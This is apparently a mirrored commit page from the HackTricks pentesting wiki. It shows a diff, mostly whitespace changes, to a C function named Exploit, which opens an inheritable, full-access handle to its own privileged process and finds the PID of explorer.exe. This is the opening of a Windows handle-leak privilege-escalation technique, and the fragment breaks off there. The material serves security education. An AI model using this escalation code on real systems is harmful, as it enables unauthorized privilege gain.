mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
GitBook: [#3053] No subject
This commit is contained in:
parent
9027707da9
commit
3a14232f69
1 changed files with 5 additions and 5 deletions
|
@ -55,15 +55,15 @@ int FindTarget(const char *procname) {
|
||||||
|
|
||||||
int Exploit(void) {
|
int Exploit(void) {
|
||||||
|
|
||||||
STARTUPINFOA si;
|
STARTUPINFOA si;
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
int pid = 0;
|
int pid = 0;
|
||||||
HANDLE hUserToken;
|
HANDLE hUserToken;
|
||||||
HANDLE hUserProc;
|
HANDLE hUserProc;
|
||||||
HANDLE hProc;
|
HANDLE hProc;
|
||||||
|
|
||||||
// open a handle to itself (privileged process) - this gets leaked!
|
// open a handle to itself (privileged process) - this gets leaked!
|
||||||
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
||||||
|
|
||||||
// get PID of user low privileged process
|
// get PID of user low privileged process
|
||||||
if ( pid = FindTarget("explorer.exe") )
|
if ( pid = FindTarget("explorer.exe") )
|
||||||
|
|
Loading…
Reference in a new issue